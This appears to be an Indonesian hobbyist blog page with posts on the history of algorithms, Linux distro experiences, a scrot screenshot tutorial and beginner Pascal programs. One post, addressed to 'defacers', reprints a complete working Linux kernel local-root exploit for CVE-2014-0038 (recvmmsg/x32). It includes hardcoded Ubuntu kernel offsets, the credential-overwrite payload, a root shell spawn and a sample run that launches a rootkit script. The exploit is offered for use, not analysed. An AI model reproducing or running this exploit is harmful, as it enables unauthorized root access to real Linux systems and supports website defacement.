Popular Post

Sejarah Algoritma

By : Zan Haqqi

Sejarah Algoritma

Algoritma adalah jantung ilmu komputer ataupun informatika. Banyak cabang ilmu komputer yang diacu dari dalam terminologi Algoritma, misalnya algoritma perutean (routing) pesan didalam jaringan komputer, algoritma brensenham untuk menggambar garis lurus (bidang grafika komputer), algoritma Knuth-Morris-Pratt untuk mencari suatu pola didalam teks (bidang information retrievel), dan lain sebagainya.

Ditinjau dari asal-usul kata "algoritma" sendiri mempunyai sejarah yang sedikit aneh. Kata ini tidak muncul dalam kamus webster sampai akhir tahun 1957. Orang hanya menemukan kata algorism yang berarti proses menghitung dengan angka-angka arab [KNU73]. Anda dikatakan algorist jika anda menggunakan anka Arab. Para ahli bahasa berusaha menemukan asal kata algorism ini namun hasilnya kurang memuaskan. Akhirnya para ahli sejarah matematika menemukan asal mula kata tersebut. Kata algorism berasal dari nama penulis buku Arab yang terkenal, yaitu Abu Ja'far Muhammad Ibnu Musa Al-Khuwarizmi (Al-Khuwarizmi dibaca orang Barat menjadi algorism). Al-Khuwarizmi menulis buku yang berjudul Kitab Al-Jabar wal-muqabala, yang artinya "Buku pemugaran dan pengurangan" (The book of restoration and reduction). Dari judul buku itu kita juga menjadi algorithm muncul karena kata algorism sering dikelirukan dengan arithmetic, sehingga akhiran -sm berubah menjadi -thm. Karena menghitung dengan angka arab sudah menjadi hal lumrah, maka lambat laun kata algorithm berangsur-angsur dipakai sebagai metode perhitungan (komputasi) secara umum, sehingga kehilangan makna aslinya [PAR95]. Dalam bahasa Indonesia, kata algorithm diserap menjadi "Algoritma".

Mungkin sekian saja sejarah dari Algoritma sendiri. Karena jujur saja tangan saya pegel ngetik kepanjangan. =))
Semoga bermanfaat, salam =)
Tag : ,

Local Root kernel 3.4.xx 2013

By : Zan Haqqi


Kali ini postingan saya pasti akan membawa angin bahagia bagi kalian para defacer :)
Mengapa demikian, karena sudah release local root untuk kernel 3.4.xx 2013. :) Mungkin bagi yang sudah tau ya udah gak usah banyak bacot.

Ini dia local rootnya:
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..
same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64
GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social
Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/


#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>


#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};

struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};

void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;

if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}

sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}

}

void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);

if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1); }

fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;

uname(&u);

for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}

if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;

srand(time(NULL));
port = (rand() % 30000)+1500;

commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}

memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}

sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);

if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}

memset(msgs, 0, sizeof(msgs));

iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;

for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}

close(sockfd);

fprintf(stderr,"\n");

trigger();
}

# 712F7BA08F82E018 1337day.com [2014-02-04] E4BA9F9EA118AEB3 #

Untuk versi resminya di liat disini aja 1337day
Ok, mungkin ini saja yang ingin saya posting. :) Lebih dan kurangnya mohon maaf.
Tag : ,

Menyerah Dari Penggunaan WEAKERTH4N!!

By : Zan Haqqi
Selamat siang sobat Coretan Jaster. Saya ingin mengumumkan bahwa saya menyerah dari penggunaan WEAKERTH4N yang menggunakan Fluxbox.

Mengapa demikian? Karena salah satu alasannya adalah saya kesulitan mencari cara koneksi. Hmm... Kalian boleh tertawa, karena memang saya ini kurang tekun bin ulet. Yah, memang saya harus akui saya kembali berpindah distro dalam 2 hari ini :'>

Saya berpindah ke Ubuntu 12.04, dimana menggunakan Unity yang dibawanya. Sangat mudah memang, karena penggunaannya sebernarnya sangat friendly sekali seperti windows. Yah, hanya saja saat kalian mengkoneksikan USB Modem tak akan plug and play seperti saat anda menyoloknya PC/Leptop ber-OS windows.

Seperti saya menggunakan D-Link modem saya ini, dimana saya harus menginstall upgade-an drivernya. :'> Tidak Rumit apabila kalian mau berusaha, :'> Itu kata para master linux. Tapi gw nyerah :'> Jadi gw minta temen gw buat update "dalemannya", dan berhasil dalam 5 menit.

Daan taraaaa... Berikut adalah ScreenShot dari Ubuntu 12.04 LTS yang telah saya install pagi tadi. :')



Ok, mungkin tutorial besok akan saya sampaikan bagaimana cara mensetting USB Modem D-Link DWM-152. :'>
Salam.

Penggunaan Scrot Untuk ScreenShot / Screen Capture

By : Zan Haqqi
Selamat malam sobat Coretan Jaster. Berhubungan ternyata hujan turun, jadi saya sekalian saja share cara penggunaan Scrot untuk ScreenShot / Screen Capture. Nah, disini seperti janji saya pada postingan pertama di label "Linux Journey". Saya akan share sekarang.

Kita mulai saja ya. Pertama kalian harus tau arsitektur leptop kalian apakah x86 atau x64, lalu kalian download scrot dari sini:
[=] x86 (i386)
[=] x64 (amd64)

Untuk x64, saya sudah menguploadnya ke dropbox milik account saya sendiri. Nah, dari sini kita mulai saja ya. Untuk i386 dari official nya paket debian berserver US :) Nah, kalau mau yang lainnya bisa aja nih, saya kasih aja ya direct link biar kalian bisa liat apa aja yang ada: Download Scrot

Dan ini adalah penampakan dari beberapa pilihannya :)

Ok, masuk ketahap penggunaan. Setelah kita download file scrot.deb nya, kita cut dan masukkan dalam folder Documents. Nah, lalu kita buka terminal linux kita dan ketikkan comand ini:
$ cd Documents
$ chmod +x scrot_0.8-7_amd64.deb
kegunaan "cd Documents" untuk masuk kedalam directory Documents, lalu "chmod +x scrot_0.8-7_amd64.deb" adalah untuk membuat permission agar dapat diakses oleh kita :) Mungkin seperti itu :'>

NP: "scrot_0.8-7_amd64.deb" di sesuaikan dengan nama file yang anda download.

Lalu kita install scrot dengan command seperti ini:
$ dpkg -i scrot_0.8-7_amd64.deb
Nah akan terlihat proses yang terjadi saat penginstallan berlangsung. ok, setelah itu kita bisa menggunakan scrot untuk screenshot/capture.

Cara penggunaannya seperti ini:
1. Buka Terminal kalian
2. Masukkan perintah/command:
$ scrot namagambar.jpg -d 8
Kalian dapat mengganti nama file kalian sesuka kalian. dan "-d 8" berguna sebagai interval 8 detik. Jadi akan meng-capture screen anda setelah 8 menit. Dan bisa kalian check hasilnya di folder /root/  ataupun /home/ kalian. :) Sebenarnya bisa sih kalian langsung masuk ke directory "Pictures". Caranya sama, saat kalian mau memasukkan comand "scrot namagamber.jpg -d 8" kalian masuk dulu ke directory Pictures dengan cara:
$ cd Pictures
Nah, baru masukkan comand seperti tadi:
$ scrot namagambar.jpg -d 8

Nah, hasilnya seperti ini:





Nah, ada satu lagi nih, sebenarnya gak hanya .jpg aja koq. .gif juga bisa kalian pakai sebagai ekstensi dari gambar capture-annya.

Ok deh, cukup sekian saja yang saya sampaikan malam ini. Semoga bermanfaat.
Salam

First Time Used WEAKERTH4N-Blue Ghost Pentest Distro

By : Zan Haqqi
Selamat malam sobat Coretan Jaster. Kali ini saya akan menceritakan pengalaman saya yang baru 1 hari ini selesai menginstall dan menggunakan WEAKERTH4N-Blue Ghost Pentest Distro. Distro satu ini sangatlah ringan, mungkin ini dikarenakan FluxBox-lah yang digunakannya.

Sedikit penjelasan, WEAKERTH4N-Blue Ghost basisnya menggunakan Debian Squeeze berkernel 3.10.xx. Yah, memang harus diakui kalau wireless card saya gak terdeteksi dan haruslah disetting manual. Hahahahaha... Dan saya harus jujur, saya sangat kaget pertama kali menggunakan FluxBox yang sangatlah berbeda dari GNOME dan KDE :'( hingga saya sampai saat ini masih terus mencari celah untuk membuat koneksi internet dengan modem D-Link saya :'>

Pertama saya harus berikan jempol kepada para pengembangnya, dikarenakan sukses dan saya belum menemukan bugs yang ada dalam distro satu ini. Namun ada beberapa kekurangannya, yah namanya juga fluxbox. :'> Gak mungkin kita mengharapkan seperti GNOME ataupun KDE :'>

Oke, berikut ini adalah screenshot yang saya ambil malam ini juga. Ada 2 sih yang saya ambil :) Silahkan dilihat sendiri yah.... :))



Yah, memang saya menggunakan wallpaper editan :'> yah begitulah hahahaha.... Dan juga ScreenShot ini gak serta merta kalian bisa langsung pencet PrintScreen key pada keyboard leptop\PC anda. Saya menggunakan paket tambahan yang saya download, yaitu Scrot.

Ok, cukup sekiat dulu Perjalanan saya hari ini... Besok saya akan share cara menggunakan scrot ya :)
Salam

Membuat Program Penghitung Luas Segitiga dengan Pascal

By : Zan Haqqi


Yoooo... Bagaimana kabar kalian sobat CoJa? Dan Alhamdulillaah saya baik-baik saja disini. :) Kali ini saya akan memposting cara membuat program penghitung luas segitiga dengan  bahasa program pascal. Mengapa sudah beberapa artikel saya tulis dengan pascal? Yah, karena memang ini adalah tugas yang Dosen saya berikan kepada saya. :)

Oke,  Seperti biasa tools yang digunakan adalah"
=> Turbo Pascal
=> DOSBox untuk menjalankan Turbo Pascal pada komputer 64bit.

Langsung saja saya jelaskan disini. Tentunya sangat mudah bagi kalian yang memang mencintai duni Komputer untuk mempelajari bahasa program. Hehehe gak nyambung ye... Yodah lanjut aja deh...

Pertama kita harus tau dulu Rumus mencari luat segitiga. Rumusnya itu adalah:
1/2 x Alas x Tinggi atau biasa dikatakan : Alas x Tinggi : 2

Ok, langsung saja ini sourcenya:
==========================
program Perhitungan;
{I.S : diberikan layar kosong}
{F.S : Menampilkan Luas Segitiga}
Uses crt;
var
alas,tinggi,hasil:real;
begin
clrscr;
writeln('Perhitungan Pencarian Luas Segitiga');
write('Masukkan Panjang Alas Segitiga: ');readln(alas);
write('Masukkan Tinggi Segitiga: ');readln(tinggi);
hasil:=alas*tinggi/2;
writeln('Maka Hasilnya adalah: ',hasil);readln;
end.
==========================

Mengapa tidak menggunakan integer? Karena memang kalau kita menggunakan integer, maka tanda bagi tidak bisa dibaca atau dinyatakan salah. Oleh karena itu saya menggunakan "real" sebagai jenis variablenya. :))

Ok, cukup sekian saja dahulu. Lebih dan Kurangnya saya mohon maaf. Salam
Tag : ,

Perkalian 3 Bilangan Dengan Pascal

By : Zan Haqqi


Selamat siang sobat CoJa. Postingan kali ini saya ingin share source code program perkalian 3 bilangan dengan bahasa pascal. Kali ini adalah lanjutan dari 2 postingan sebelumnya yaitu Pascal Penjumlahan 3 Bilangan dan juga Perhitungan Volume Kubus/Balok Dengan Pascal. Kini saatnya kita masuk ke perkalian 3 bilangan. Memang sama seperti Perhitungan Volume Kubus/Balok, hanya diganti saja nama inputannya :))
Penasaran? Ok, kalau begitu kita lanjut.

Seperti biasa anda membutuhkan Tools :
- Turbo Pascal
- DOSBox ( Untuk menjalankan Turbo Pascal pada komputer 64bit ).

Tak perlu mencari rumus seperti perhitungan volume, karena ini kan hanya menggunakan 3 bilangan saja :))

Source nya:
=========================
program Perkalian;
{I.S : diberikan layar kosong}
{F.S : Menampilkan hasil perkalian 3 bilangan}
Uses crt;
var
a,b,c,hasil:integer;
begin
clrscr;
writeln('Perkalian 3 bilangan');
write('Masukkan Bilangan Pertama: ');readln(a);
write('Masukkan Bilangan Kedua: ');readln(b);
write('Masukkan Bilangan Ketiga: ');readln(c);
hasil:=a*b*c;
writeln('Maka Hasilnya adalah: ',hasil);readln;
end.
=========================

Simple seperti yang saya katakan dipostingan yang lalu kan? :))
Ok, sekian saja dulu ya... Salam
Tag : ,

- Copyright © Coretan Jaster - Ridwan Zan - Powered by Blogger - Redesigned by Coretan Haqqi -